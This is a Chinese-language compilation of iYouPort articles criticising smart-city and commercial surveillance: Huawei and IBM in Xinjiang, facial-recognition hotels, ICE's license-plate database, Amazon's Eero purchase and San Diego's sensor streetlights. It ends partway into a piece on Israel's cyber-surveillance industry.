中国少数民族问题专家 Adrian Zenz 指出，华为“智能城市”的部分产品已开始出口到德国杜伊斯堡。

而且不止杜伊斯堡。根据华为的网站，Rhine Cloud 等智能城市技术已经出口到**120**多个城市！

- 调查报告《图解中国科技巨头—半壁“高堡奇人”》

这使人权专家感到担忧。“今天在新疆开发和部署的监视技术将很快在全球销售和推广，”大赦国际的 William Nee 说。

“智能城市”概念中最具争议的元素是哪种数据被认为与有效治理相关。

数据库中包含城市维护的常规功能，例如 路灯触发器，该功能已成为自动化系统的一部分。但是还包括维稳功能，为政府提供了一套新的先进工具，可以对他们认为不可信、可疑或激进的任何人进行监视。

尽管国内法律可以减少潜在的侵犯人权行为或隐私问题，但是，新疆的“智能城市”技术试验场几乎没有限制，这使华为等公司可以自由地开发最大程度的侵入性监视技术，而不会产生任何影响。

根据 Zenz 的说法，这给中国公司提供了相对于欧洲或美国竞争对手公司的优势地位，后者不得不在公民反抗和隐私监督机构的严格约束下操作和测试其技术。而中国公司根本不会受到这种挑战。

「图」

「图」

“智能城市” 被用来对付本国公民的最明显例子之一就是配备了先进的面部识别技术的闭路电视摄像机的武器化。

- 《武器化城市》

在新疆，数百万个放置在战略要地的闭路电视摄像机不断跟踪和识别居民，确定他们的日常路线，并为国家政权提供了一种恒定的方式来监视所有人的活动和行为。

被捕获的可疑活动（例如祈祷）可能会被标记，并由中国情报人员进行检查。被怀疑的人可能会在“再教育”营中被长期拘留。

- 特别推荐这本书《今天的集中营有很多名字，但它们依旧是集中营》

如今，这种技术正在进入欧洲城市，这可能使侵犯人权的行为变得更加容易 —— 由大数据驱动。

「图」

「图」

(Rami Khoury/Al Bawaba)

新的圆形监狱

圆形监狱的概念比 “大数据” 和所谓的 “智能城市” 的年代早了数百年。尽管如此，这是一个非常相关的类比。

在这里的人们只能假定自己一直在受到监视，他们只能通过自我审查令监视者满意。圆形监狱让所有人主动为监视者服务。

Simon Zhen 等法律分析师认为，正在出口的现代监视国家就是新的圆形监狱。“并不是说政府实际上一直在关注并控制着你。但是你已经无法做任何事。如果你组织一场大规模的反抗，就很容易陷入困境。”

“再比如，没有什么可以阻止您在流行的社交媒体网站上发布有关天安门事件或法轮功的文章，但是一旦这样做，将有真实而直接的后果，因为政府立刻就能找到你。”

华为总裁称：“这个智能城市的神经系统包括一个 “大脑” [控制中心]

和“周围神经”[网络和传感器]，收集有关城市状况的实时信息，传输数据，使“大脑”能够分析并做出明智的决定，提供反馈命令，并最终执行行动。这在物理世界和数字世界之间建立了无缝链接。利用云计算、物联网和人工智能等领先的新型 ICT 技术，华为致力于打造强大的神经系统，为智能城市提供动力……”

随处可见的控制中心以及将城市的各个部分连接到中央数据系统的外围神经，都具有很大的吸引力，因为它是可销售的。

尽管杜伊斯堡本身的运营成本可能会下降，但其潜在成本仍然存在并且还会增加：其“智能城市”使用的技术已经对中国境内数百万人实施了侵犯人权的监视，并且是全球更广泛监视的一部分。

这些新的监控技术企业正在激励监控技术的发展，并且不鼓励各国政府调查其来源或哪些权利可能受到侵犯，只因为开发这种东西能让他们收益颇丰。〇

Huawei, Surveillance and Why Smart Cities are the New Panopticons

原文

疯狂的杭州猪 [video] - iYouPort

关于中国社会无处不在，无处可逃-所谓的“智能”是什么

阿里巴巴创造了未来的酒店，既狂野又令人毛骨悚然。享受高端服务的代价是什么？

「图」

「图」

阿里巴巴创造了未来的酒店，既狂野又令人毛骨悚然。

“飞猪“是一家拥有290间客房的超现代精品酒店，位于中国的杭州，让客人可以在这里玩技术，自动化轻松办理入住手续，并在不久的将来可以以以约205美元的价格过夜—— 主要是以您的隐私人权为代价。

得益于阿里巴巴庞大的公司网络，尤其是阿里巴巴的在线旅游平台 Fliggy 的技术，客人可以沉浸在酒店服务和高端技术的十字路口上。

正如 Skift 报道的那样，这一切都始于通过应用程序预订，客人可以在那里选择一个楼层和一个景观、探索房间简介。办理登机手续也很轻松，特别是对于那些愿意使用该应用程序扫描自己的脸来加快这一过程的中国客人（现在外国客人也必须用）。

无需从大堂领取钥匙，因为电梯将扫描您的脸并带您到正确的楼层，您的脸将自己打开房门。一旦进入房间，阿里巴巴的 Alexa 式助手 Ask Genie 将会提供给你水、新毛巾、额外的枕头等等，一个三英尺高的机器人将提供这些物品。太热？太冷？灯太多了？都可以喊 Ask Genie 来帮你处理。

饥肠辘辘的客人可以前往酒店的餐厅，机器人调酒师正在混合饮料，通过 FlyZoo 应用程序订购的食物将由其他机器人送过来。忘带钱包了？没问题：面部扫描技术会直接将费用发送到您的房间账单上。这里有一个视频：https://youtu.be/kLwCG-5sOkY

该酒店的技术令人印象深刻，因为正如 Skift 所说，阿里巴巴有很多技术：Fliggy 提供用户体验设计，Damo Academy 用于人工智能、数据分析实验室和机器人技术，还有天猫市场用于营销。

这并不是唯一一家让客人一睹未来的酒店：去年，Fliggy 和万豪国际集团在杭州和三亚的两家万豪酒店联手为中国客人推出了面部识别登机手续。万豪还在开发高科技淋浴，希尔顿正在采用基于手机的所谓智能房间方式，而 InterContinental 正在使用百度的人工智能技术创建针对中国市场的所谓智能房间。

虽然阿里巴巴尚未进军美国市场，但亚马逊"已经在推动"以 **Alexa** 为主导的智能酒店客房了。所有这些技术都可以让酒店为客人提供更多量身定制的体验，实现无缝的服务交付，以及更快速的入住体验，而且机器人可能让某些人感觉很酷。

然而，正如大规模监视技术的使用所显示的那样，很明显人们愿意放弃隐私权以获得更多的疑似便利和速度。这一切都有点令人毛骨悚然。

Facial recognition is coming to hotels to make check-in easier—and much creepier. At the cost of your privacy.

原文

监视出行的恐慌 - iYouPort

无处不在，无处可逃-所谓的“智能”是什么

当局一直在使用强大的技术来追踪人们的每一步出行，这种监视是在各地警方的配合下。他们是怎么做的？

「图」

「图」

美国移民和海关执法局一直在使用强大的技术来追踪人们的每一步出行，最新揭露的文件再次强调了这点。

这些文件是由美国公民自由联盟获得并发布的，显示有超过9,200名ICE员工使用了美国各地自动车牌阅读器的信息数据库。

像ICE这样的机构会继续依赖监控技术，联邦支出法案似乎提供1亿美元以资助边境监控技术。亚马逊和微软等公司也向 ICE 提供面部识别等监视产品。

这些监视工具让ICE可以大规模地针对全民进行监视，许多倡导团体强烈指责其对隐私的侵犯。由于软件显示它能够跟踪人们的一举一动，无论是否经过人们的同意，对监控的担忧都在增加。在中国，监控技术被用于监控公民和分配社会信用评分，这可能导致民事处罚。

ACLU 表示，ICE 使用的数据库包含超过50亿个位置数据，由车牌读取器在停车场、道路、收费站和警车上收集。这些数据是在每个通过读卡器的牌照上收集的—这意味着每天通勤的无辜乘客都会被捕捉和被窥视他们的一举一动。

文件显示，另有**15**亿个监视点来自数十个州的**80**多个当地警察局。ACLU 表示，这种大规模监视违反了当地的隐私法。

“存储大量位置信息既是对隐私的重大侵犯，并且实时追踪是完全没有必要的，”北加州 ACLU 的律师 Vasudha Talla 周三在一篇文章中说。

根据 ACLU 获得的文件，该数据库每月都会增加1.5亿至2亿次新的扫描数据。这些自动牌照阅读器可以每分钟拍摄数千个牌照。

该数据来自 VIGilant Solutions，这是一家ICE于2018年开始合作的公司，其合同将在2020年到期。该公司表示，它拥有大约60%的美国人口的车牌数据，包括亚特兰大，芝加哥，克利夫兰，洛杉矶，纽约，旧金山和德克萨斯州奥斯汀等地区。

数据收集的一个关键部分涉及向当地警察部门索取信息。 Vigilant 的文件包括如何与当地警察联系并向当地警方索取位置数据的分步指南。

ICE 的隐私规则要求所有使用车牌数据的记录请求。但 ACLU 获得的日志显示这些请求通常是非正式的，通过电子邮件提供。

就其本身而言，ICE在一份声明中表示，它并未使用车牌数据来“定位或跟踪与ICE调查或执法活动无关的个人”。

尽管如此，ACLU 仍在呼吁当地执法部门停止与ICE分享人们的信息。

“令人震惊的是，ICE 已将这一大规模监视数据库添加到其武器库中，并且当地执法机构和私营公司正在帮助该机构进行监视工作，”Talla 在一份声明中说。

ICE uses database that tracks license plates, raising privacy concern. Documents obtained by the ACLU show that more than 9,000 US immigration agents are using a database that draws info from license plate readers across the country

原文

硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重 - iYouPort

作恶者：谁在帮中国关于高堡奇人无处不在，无处可逃-所谓的“智能”是什么

寄希望于西方拯救中国警察国家中的囚徒？最好再想想这件事

「图」

「图」

这不是我们第一次强调这点：很多反乌托邦技术都是西方提供的，并且西方领导人并不真的关心其造成的人权危害。

Coda 的这篇报道证据充分，可以再次解释这一问题。

2012年8月，中国在新疆省偏远的石油城镇克拉玛依启动了首个重要的“智能城市”项目。

“信息技术不仅是关于技术的。它应该与我们城市生活的方方面面融为一体，让人们的生活更加便利，“克拉玛依市市长陈新发说，“对于克拉玛依来说，这不是未来，而是现在正在发生的事。”

- 在这里看到全球多个国家对所谓的智能城市的广泛追求，中国是之一；还有技术分析《“智能城市”究竟是个什么鬼？！》

陈说，克拉玛依这个拥有40万居民的城市的公交车站均配备了显示旅行信息的电子屏幕；

在家中，老年居民可以随时按下紧急按钮以呼叫紧急服务或亲属；

如果社会保障体系记录了失业人口的增加，官员们马上就会知道 ——这一切都归功于克拉玛依的所谓智能城市网络 ……

克拉玛依是智能城市趋势的早期采用者；如今这种反乌托邦形式正在重塑世界大部分地区，中国仍然是该领域的领导者之一。

根据英国金融服务公司德勤（Deloitte）的数据，目前巴西、沙特阿拉伯和阿联酋等国家的智能城市项目已经超过**1,000**个。

全球近一半的智能城市在中国，使这个国家成为世界上最大的智能城市集中地。

从事智能城市行业的那些家伙将该项目作为城市规划的最前沿。

Deloitte China 去年发布了一份名为”超级智能城市：更高质量的快乐社会”的报告，其中说，庆祝中国建立”超级智能城市”的动力，这些城市整合了医疗保健、交通、教育和公共安全等服务的数据。

报告还称，“无人机、可穿戴监视设备、面部识别、和预测犯罪系统有助于执法部门打击犯罪并维护公共安全” ……“各机构通过利用包括社交媒体和众包数据在内的所有数据流来预防犯罪。”

据专家和分析师称，中国智能城市被 Deloitte 称为虚拟乌托邦，是任何一个国家有史以来能够建造的最大的、也是最具侵入性的监控架构。

像克拉玛依这样早期的智能城市项目目前已经发展成为新疆的计算机化警察国家，这里是有史以来最全面的监控建设的所在地。

克拉玛依的版本实际上遍布新疆，可以追踪约250万居民，针对该省的维吾尔穆斯林少数民族。

被标记为可疑活动的人—例如祈祷的人—会被中国情报部门调查、并被拘留在“再教育”营。

目前，约有一百万维吾尔族穆斯林人口被置于“一个笼罩在秘密中的大规模拘留营” —— 这是联合国的描述。

西方政府广泛谴责新疆警方的行为。

但是，西方科技巨头公司一直在以建设智能城市为名义帮助建立了这个庞大的警察国家。

「图」

「图」

新的监控范式

西方政府机构最近对华为等中国科技公司出口的危险性提出了警告。美国商务部还表示，华为将被禁止购买美国公司的计算机芯片等新产品。

华为一直是这些措施的主要目标。去年，美国六家情报机构负责人警告美国公民不要使用华为产品。

诚然，华为帮助中国政府监视自己的公民、帮助建立智能城市等等。

但是，政府研究、公司文件、泄露的官方报告、和公共记录均表明，中国并没有自己发明智能城市的范式。

中国能做到如此强大的警察国家是在西方政府和硅谷主要公司 —— "包括IBM和微软 —— 的帮助下完成的"。

中国智能城市项目的种子就是 IBM 于2009年首次在其“智能地球”概念中播种下的，当时**IBM**公司与中国**200**多位市长进行了接触，并与东北大学合作建立了联合“生态城”研究实验室，资金来自当地政府 —— **4100**万美元。

次年，IBM 在北京召开的一次会议上宣布了为期10年的中国智能城市发展战略。

未来的城市将使用海量数据收集来解决交通、食品安全、制造业、水资源管理、能源和公共服务等问题。

2012年IBM投资者简报“智能城市”中写道，该公司在中国建立了**82**家**IBM**分支机构，包括研究、创新和软件开发 —— 其中就有新疆克拉玛依新兴的“智能城市”项目。

该公司早期的智能城市项目包括2012年在镇江市安装所谓智能解决方案的旗舰智能运营中心（IOC）。

虽然该项目侧重于对交通、公共汽车和乘客行为的实时监控，但是，**IBM**的**IOC**还旨在大量整合数据以实现维稳目的。

根据同年发布的IBM手册，**IOC** 能够将大量信息整合到城市功能中，包括“维稳机构”和“其他级别的政府”。

该手册说，数据来源包括来自“天气、公民、执法、社会福利、视频”等方面的信息，可以帮助更有效地运营城市。

该手册还确定了"情感分析"的潜力，该分析通过社交媒体情报了解公民对城市服务和政治政策的看法。

但是，虽然智能城市以城市规划和善治的语言表达，但很明显，它隐藏着"反乌托邦"的种子。

据澳大利亚维多利亚州迪肯大学专门研究中国智能城市的隐私专家 Fan Yang 说，“大规模监视本身就伴随着智能城市的发展而壮大，不仅在中国的背景下，而且在全球的情况下都是如此。”

智能城市本质上就依赖于“从各行各业实时收集的公民数据，”她说。

Yang 说，虽然大多数中国公民都知道有监视的存在，但是他们往往“不知道或没有意识到自己的隐私已经在上班途中、回家途中、网购中、或者通过扫描二维码来借公共自行车的一瞬间，被彻底剥夺了”。

监视的危险性不仅在于它的发生，而且在于各种行为被摄取和分析的程度；它不仅仅是针对个人的，而是针对一个人的所有关系网络。

「图」

「图」

IBM与华为共舞

克拉玛依只是连接新疆城市的更大计划中的第一个项目而已。

2014年上半年，新疆16个主要城市和63个县共安装了5,000个4G移动台。到那年年底，将建造了总共12,000个4G基站。

到2016年，随着智能城市基础设施在新疆的扩展，**IBM**仍然在克拉玛依运营，并开始根据该市的地方政府设想"推出" **“cognitive IoT”**（物联网）。

IBM的技术是围绕 Watson IoT 平台构建的，"Watson IoT" 平台是一种人工智能（**AI**）系统，可以在大量不同类型的数据中找到模式和关系。

根据前 IBM Watson 产品经理的说法，该平台的强大功能在于能够以几乎任何格式摄取和分析任何形式的数据，并搜索与其他类型数据的相关性。

该平台可以处理实时天气数据、车队、环境传感器或视听馈送等，非常适合广泛的监控应用。

Watson 平台究竟如何在克拉玛依实际应用还不清楚。因为IBM拒绝回复本文的问题。

但是，克拉玛依是许多维吾尔族“再教育”营的所在地，其居民经常因穿着穆斯林服装或留长胡须而被警方拘留。

这些维稳实践由城市广泛的监控网络自动化 —— 首先在**IBM**的“公共安全”平台下建立，它们已经发展成为华为的"“安全城市”计划"。

在过去的十年中，华为在上海、江苏、广东等城市建立了数十个所谓的智能城市城市项目。

2018年5月，华为继续在新疆首都乌鲁木齐开展工作，与公安局建立了新的合作伙伴关系，建立了“情报安全产业”创新实验室。

根据华为一位高级官员的说法，该实验室将为该地区创建一系列专业知识，以“开启智能治安新时代”。

目前在新疆应用的技术包括高级面部识别，旨在根据外观专门搜索维吾尔族人，引入纽约时报称之为“自动化种族主义的新时代”。

华为没有回答有关其在乌鲁木齐的工作是否支持此类技术出现的问题。

IBM与中国公司有着长期的业务关系。如果没有IBM的大力支持，华为的巨大增长是完全不可能实现的。

早在2000年，IBM 就与华为签署了一项协议，为其提供前所未有的微电子部门研发设施。

据华为创始人首席执行官任正非在2016年接受“中国日报”采访时表示，这家中国电信巨头每年向**IBM**支付超过**1**亿美元的管理咨询费。

与IBM一样，华为没有回复评论请求。

「图」

「图」

高端的朋友

作为反华为战役的一部分，华盛顿将该公司描绘成一个危险的组织，有可能在中国政府的要求下监视任何人。

仔细观察后你会发现，帮助华为在中国建立监控能力的外国公司有一大把，而不仅仅是**IBM**。

2017年，华为签署了由三家公司制作的视频分析和面部识别技术“安全城市”计划协议，这三家公司包括：Agent Vi，这是一家以色列公司，其投资者是美国的电信巨头摩托罗拉；还有 Ipsotek，这是一家英国公司，专门从事智能视频分析，获得了英国内政部的认可；还有 Xjera Labs，总部设在新加坡的公司。

同年，华为还与奥地利技术公司 Frequentis 签署了谅解备忘录，该公司专门为政府机构提供通信和信息系统，提供空中交通管理和紧急服务等公共安全服务。

Frequentis 向**140**多个国家提供技术，包括美国、英国和欧洲。其客户包括英国国防部、伦敦大都会警察局、美国宇航局和美国海军。

根据美国军方太平洋司令部前分析师国家安全专家 Anders Corr 的说法，这种伙伴关系构成了严重的潜在风险。

“西方和西方公司负有最大化股东价值的信托责任。期望这些公司按照任何其他道德规范行事都是错误的”，Corr 说，他认为需要政府监督。

但是实际上，恰恰相反。

⚠尽管特朗普政府经常表达对中国科技公司的排斥，但是美国政府长期以来一直鼓励美国公司利用中国的数字化驱动，几乎没有任何疑虑。

就在2017年夏天，美国商务部还为希望在中国投资的美国公司发布了一份国家指南，确定了跨大数据、物联网、人工智能、云计算和“智能城市发展”的投资机会。

三个月后，美国商务部与中国政府资助的上海浦东智能城市研究所合作，在上海举办“中美智能城市论坛”。

英国政府最近批准华为提供新的5G网络设备，并试图通过其中国繁荣战略计划基金（SPF）为英国和中国的联合智能城市项目提供直接资金来吸引中国的注意力。

该项目引入了英国公司“进入中国智能城市市场”，但也试图利用中国智能城市实践的研究在英国国内实施。

「图」

「图」

睁大眼睛

你会假设西方政府不知道这些技术会在中国被如何使用吗？

事实上正相反。

由 EUSME 中心出版的智能城市报告 —— 这是一个欧盟委员会资助的项目 —— 表明西方政府实际上很高兴参与建设中国的警察国家状态。

该中心的目的是帮助欧洲的中小企业准备在中国开展业务。

EUSME 的智能城市报告未公开发布，时间是2016年1月，由中英商务委员会的官员编写，该委员会为英国国际贸易部提供中国业务发展服务、并与英国外交部密切合作。

该报告还指出，将数据收集整合到任何城市的目标是为包括警察在内的一系列利益相关机构提供支持“智能城市安全系统”的“人口管理”。

反乌托邦，究竟是中国制造、还是美国制造？

像IBM和微软这样的硅谷巨头并没有透露他们在帮助建立中国智能城市监控范例方面的作用。

私营公司、中央政府和市政府如何共享技术和数据的机制和任何保障措施仍然未知。

隐私国际组织的 Eva Blum-Dumontet 说：”像IBM和微软等西方公司

以及某些压迫性政权之间看似无关紧要的伙伴关系最令人担忧。

“在建设智能城市或促进政府服务信息流动的借口下，一些公司可以有效地参与侵犯人权的行为。”

但中国的警察国家才刚刚开始。未来几年内，⚠智能城市建设将成为各地市政府的主导范式。

“不幸的是，在远东地区建造的大多数智能城市都成为了大规模监控城市，追踪你的一举一动，”加拿大安大略省前信息专员、国际智能城市理事会成员 Anne Cavoukian 博士说。

华为关于“安全城市”计划的官方文献声称已将该模型出口到全球230多个城市。

华为安全城市解决方案的早期采用者包括具有威权主义和具有国内暴力历史的国家，包括俄罗斯、巴基斯坦、老挝、安哥拉、亚美尼亚、阿塞拜疆、塔吉克斯坦、乌克兰、乌兹别克斯坦、吉尔吉斯斯坦和哈萨克斯坦。

在塞尔维亚，华为在贝尔格莱德首都签订了公共安全合同，其面部识别摄像系统受到数字权利监管机构的严厉批评 —— 违反公民隐私法。

到**2025**年，全球智能城市市场将价值**2.5**万亿美元。由华为等中国公司主导，很少有哪个政府不想进入该市场。〇

Western technology companies have played a pivotal role in building China’s authoritarian smart cities

原文

让老大哥布满你的家 - iYouPort

无处不在，无处可逃-所谓的“智能”是什么

贪婪是绝症，无药可医

亚马逊希望用他们的产品填你的家。该公司销售一个可以告诉你天气的声控智能扬声器（Echo），一个可以告诉你谁在门外的监视摄像头（Ring），以及一个可以在电视上播放电影和节目的流媒体（Fire TV）...它还销售其他几十种设备—插头，恒温器，灯，真空吸尘器，甚至是微波炉—里面装着健谈的语音助手 Alexa。让你家的每一个角落都站上一个老大哥。现在，亚马逊又希望拥有你的智能家居基础设施：路由器。

亚马逊宣布收购 Eero，该公司生产的路由器系统旨在覆盖难以触及的 Wi-Fi 死角。这是亚马逊寻求拥有智能家居的最有力进攻，它可以借此获得更多更深入的用户隐私数据。

2017年 Eero 报告收集了来自“数十万”路由器的匿名数据，可以看到他们能收集哪些信息：显示一天中最活跃时段的流量图表（周日晚上9点到晚上10点），以及连接到 Eero 网络的前40个设备（首先是 iPhone，iPad 和 Sonos扬声器）。如果你有超过三个 Eeros，公司也可以推断出你有一个大房子。

“一个实体可能拥有您家中的所有设备。在电子前沿基金会（EFF）的工作技术专家 Sydney Li 说，从个人隐私的角度来看，它可以形成你作为一个人在物理和数字世界中非常完整的形象，这特别令人担忧。

只要您连接到该网络，路由器就可以访问您的浏览历史记录；每当您访问以HTTPS开头的安全网站时，路由器最多可以看到网站的域名（例如 google.com），但不能查看其内容，例如您要搜索的内容。“您的路由器还可以将其看到的网络活动和网络流量与特定设备ID相关联。如果你知道如何改变/欺骗这个ID（MAC地址）可以避免，但是大多数人都不知道该怎么做“。

无论如何，亚马逊可以使用这些数据更好地了解其消费者，并密切关

注哪些竞争对手在其客户家中。该公司一直在跟踪购物者的浏览和购买行为，通过 AmazonBasics 等私人品牌以低价销售自有品牌的产品。一些第三方卖家表示，自有品牌计划正在破坏他们在平台上的业务。

在过去，Eero 将其作为独立硬件公司的地位吹捧为“对消费者有利”，但这点可能很快就会改变。亚马逊正在销售广告业务，事实上，广告是其增长最快的部分，2018年第四季度的广告销售收入达34亿美元，同比增长95%。

亚马逊收购 Eero 也表明消费者越来越难以逃避巨头公司的掌控。亚马逊已经可以看到大多数人在网上做的任何事，因为亚马逊为近一半的互联网提供云托管服务，包括 Netflix 和 Pinterest。 Eero 可以为此提供更详细完整的画面。

互联网巨头希望统治你周围的一切，并在整个过程中收集尽可能多的个人信息—这种策略对他们来说非常有效。我们的数字生活已经被 Facebook，谷歌，微软，苹果和亚马逊所统治，试图逃避他们的数据收集几乎是不可能的。

对于那些想要避开亚马逊或 Eero 的人来说，替代方案看起来并不乐观。互联网服务提供商通常向其客户提供跟踪分析数据并向广告商销售网络浏览历史记录和应用使用历史记录。Google 通过自己的网状网络路由器 Google Wi-Fi 来收集设备信息。所有连接的设备、信号强度和数据使用信息都将发送给 Google，但该公司在其隐私页面上称其路由器“不会跟踪您访问的网站或收集网络上任何流量”。但这只是因为它不需要路由器数据。 Google 已经通过其他产品（如 Chrome，Android，Gmail 及其广告网络）收集了大量此类信息。

隐私专家非常担心，因为同类的，Facebook 收购消息应用程序两年后 WhatsApp 就改变了其隐私政策并开始共享用户信息给 Facebook；在被 Facebook 收购一年后 Instagram 就在该平台上推出了广告。Eero 在此不会有任何区别。

除了获取更多用户数据之外，考虑到亚马逊的智能家居野心，收购 Eero 是一个切实可行的举措。 Eero 将帮助这家科技巨头尽可能多地在您的家中安插亚马逊品牌的硬件，它可以简化经常复杂的小工具安装，这是阻止消费者购买智能家居设备的最大痛点之一。Eero 可以确保客户的家庭网络具有足够的连接，以便所有亚马逊的设备都能可靠地运行。从理论上讲，亚马逊还可以将 Eero 技术集成到 Echo 设备中，将每个智能扬声器转变为Wi-Fi网状网络节点。

亚马逊的 Eero 就像特洛伊木马。亚马逊将可以说服客户邀请路由器进入他们的家中，从而令您的家彻底布满老大哥。

Amazon Bought A Router Company You've Never Heard Of. Here Is Why It's A Huge Deal. Experts are concerned about what Amazon's acquisition of Eero means for consumer privacy.

原文

路灯间谍 - iYouPort

无处不在，无处可逃-所谓的“智能”是什么

路灯上有间谍会跟随你的每一步行为，甚至带有音频传感器，整体配置全世界一流，这是哪里？是谁在帮助构建这种邪恶的技术？

一位直言不讳的政治批评者离开了她在市中心的公寓，前往几个街区外的律师事务所，途中一系列隐藏在城市路灯顶部的摄像机和音频传感器紧密跟随着她。 每天都是一样的，并且每一分钟的活动细节都被捕获，并存入在一个庞大的数据库中。

这些信息藏匿在远程服务器上，向市政官员、执法机构和公司开放，并被收购和转售。

“监控技术网络正在迅速蔓延到我们的城市景观中”，2017年2月在致圣何塞市市长和市议会的一封信中，美国公民自由联盟、电子前沿基金会、民权倡导者、穆斯林团体和旧金山湾区隐私权倡导者一起写道，当时该市正在策划路灯监视之眼。

“能够监控和记录居民行为的设备会严重侵犯隐私、剥夺言论自由，并且不成比例影响非白人社区。以所谓的“智能城市”的名义采用的某些技术可以收集和存储有关居民如何在公共场所生活的一切信息，包括宗教信仰习惯、参与政治抗议、或访问堕胎诊所。

在加利福尼亚州的第二大城市，至少有3200个路灯配备视频甚至音频采集设备，使该市成为了一个隐形1984实验室，用于嵌入式情报，这些设备被各种执法和维稳部门使用，并且从来没有通知居民和业主这些设备已安装并正在运行。

San Diegans 为该监视系统支付了超过3020万美元，虽然 Faulconer 已证明不愿意提供详细信息，但G.E.提交的文件仍然存在。 根据游说披露法律显示，该公司于2016年4月开始宣传这一想法，当时 Faulconer 及其支持者正在筹集创纪录的竞选基金，以确保轻松连任。 G.E.的文件称该公司希望改进“照明基础设施和重用资产以用于

智能城市的能力”。

经过 Faulconer 环境服务部门的简短介绍，市议会于2016年12月13日批准与通用电气达成3030万美元的协议，为该系统提供资金。没有讨论该项目影响深远的隐私问题，尽管该文件附带的逐项清单在细则中明确了其与监视相关的目的。

在远程视频监视供应商 Genetec 的一系列情报收集技术中，总部位于蒙特利尔的公司制造了供D.E.A使用的车牌阅读器设备。

IEEE Spectrum 于2018年1月发布的报告显示，每个所谓的智能路灯上都装满了高科技间谍软件，包括“英特尔凌动处理器和半兆兆字节的内存、蓝牙和**Wi-Fi**、两个用于视频，静态图像和计算机视觉分析的**1080p**摄像机、两个声学传感器、环境传感器，监测温度、压力、湿度、振动和磁场。所收集的大部分数据将通过**AT＆T**的 **LTE** 网络上传到 **GE** 的 **Predix** 云。“

安装该系统的五个所谓的设计2017年7月17日获得了理事会的快速批准，没有任何关于系统监视意图的讨论。

负责该项目的城市可持续发展部主任 Cody Hooven 拒绝回答问题，在2月14日的电子邮件中写道：“媒体请求需要通过我们的通信人员。”她将此事转交给了 Faulconer 的高级新闻秘书，但依旧没有回应。

2017年12月21日的采购订单显示，该市支付了G.E.照明系统 2,344,167 美元用于电子硬件和与“智能城市项目”相关的各种服务。根据2018年1月5日的采购记录，额外的1,837,269美元用于“传感器调试”。

即使在2018年初该系统公开推出后，官员也一直避免讨论其对隐私的影响。和其他所有监视者的狡辩一样，该市政府强调“数据是匿名的”，但是，Cosio-Azar的2017年12月白皮书显示，“来自数字智能城市基础设施的视频数据将使身份识别更容易”，该文件还宣传了该系统产生的数据的可销售性。

“想想 App Store。 Apple 将所有 iPhone 传感器数据API放在应用程序开发社区可访问的开放平台上。自2008年以来为开发人员带来了近 400 亿美元的收入。由于来自新的数字智能城市基础设施的数据如此庞大，圣地亚哥市现在也有类似的应用和共享经济机会。“

G.E.高管们自己也吹嘘说，世界上没有任何其他的公共监控技术具有“在圣地亚哥路灯上安装的那种全面的传感器包”，IEEE World 于2018年1月报道。

“重新利用圣地亚哥的照明基础设施，让社区能够将手放在城市的心跳和神经系统上，这是我们构建智能城市应用商店的方式，” 当时该项目的负责人 David Graham 在2017年2月22日的新闻稿中引述了这一说法。

从那以后，一切都被保密了，没有公开进度报告、也没有市长向市议会呈交的更新，市议会可是批准了数百万美元的公款啊。

并且，当根据州公共记录法的规定于1月3日向该市发出请求以获取单个所谓的智能路灯所产生的数据时，反馈被反复推迟。

位于华盛顿特区的 ACLU 总部发起了社区控制警察监视项目，旨在“确保居民通过当地市议会有权决定是否以及如何使用监控技术，通过最大化公众监督的过程以影响这些决定。“该活动已经在三十多个城市中发挥了作用，规模从几千居民到800多万。但圣地亚哥，其赞助商已被宣布为国家最雄心勃勃的公共情报收集计划的所在地，并未列入名单。

同时，高通公司负责人和他的公司继续支持植根于所谓的5G无线标准的远程情报收集系统，圣地亚哥的芯片制造巨头计划在未来几十年内从其无线业务中获得数十亿美元的新收入。

San Diego’s street lights that spy. Faulconer’s secret dealings with G.E. and Qualcomm. To critics, the notion was frightening, and one city took action.

原文

“只管去做，别问问题”：走进以色列利润丰厚且秘密的网络监视行业内部 - iyouport

协助暴政的家伙们老大哥的真面目

“那些专制政权以获得以色列技术为荣”。“我的立场是，我爱以色列”，但是，“一些非常糟糕的事正在被掩盖之下发生”，他说，“在黑暗中发生！”

【按】3月27日，我们转发了一则消息：以色列手机黑客公司Cellebrite 现在可以闯入Signal。

就连中国也使用该公司的产品入侵香港活动家的手机。

这是一家什么公司？以色列的监视技术出口为什么与众不同？

如果您错过了《从以色列对巴勒斯坦抗议者动用的大规模监视中学到一些东西》

18岁时，K.和几乎所有以色列人一样，开始了他的义务兵役。“这是我回报社会、保卫国家的方式”，他说，“我是他们中的一员。我是激进者之一”。 从被占领的约旦河西岸的暴力治安到默默无闻的平凡办公室工作，以色列国防军的任务千差万别。K. 记得他曾想：“无论给我什么工作，我都会去做。”

他也知道：“我的脑袋比身体更强壮。所以，我想，情报工作更适合我。”

经过初步评估，K.获得了进入以色列国防军精锐情报部队8200部队的机会。(K.在匿名的情况下接受采访)。

【注：**8200**部队是以色列情报部门的精英部队，是以色列国防军军事情报局的一部分，主要参与信号情报（即监视）、网络战和代码解密。在这里看到一个案例《不流血的政变：军事工业综合体接管选举》。】

类似于美国国家安全局，以色列的8200在全球科技行业中几乎获得了神话般的地位。8200的毕业生们成功地创办了创业公司，并获得了令人羡慕的工作。从官方来说，**8200**士兵的身份在服役期间和服役后都是绝对保密的。而公开场合，8200毕业生在求职信中乐此不疲地夸耀自己的经历。在接触他们工作的众多行业中，**8200**部队是一个品牌。

8200的成功是有代价的：对许多成员来说，应征入伍需要在以色列国防军服役5年。（目前标准的征兵期是女性24个月，男性32个月左右）。至于激励措施 —— 8200学员的生活可能意味着什么 —— K.说："我身边的其他人确实考虑过，关于之后它是如何打开大门的。"但对于18岁的K.来说，"以后成功赚钱，有家庭有房子什么的" 并不是最重要的。

据 K.回忆，针对他的招聘宣传更多的是 "抚慰自我"。他被告知，"你是最好的。我们选择了你。因为你是万里挑一的。大多数人都不能胜任这份工作。而你是个天才"。所以他答应了。

K.的家庭属于以色列的老派精英，由以色列建国一代的子孙组成。他们是一个经济条件优越、多数为阿什肯纳兹人的社会阶层，在过去的几年里，以色列国防军的精锐作战部队中，他们占了很大比例。在现代的以色列境内，并没有强大的左翼反对派存在，这个阶层的政治倾向被归为自由派。"他们是犹太复国主义者，但他们认为自己是和平的"，K.解释说，"他们渴望和平。"

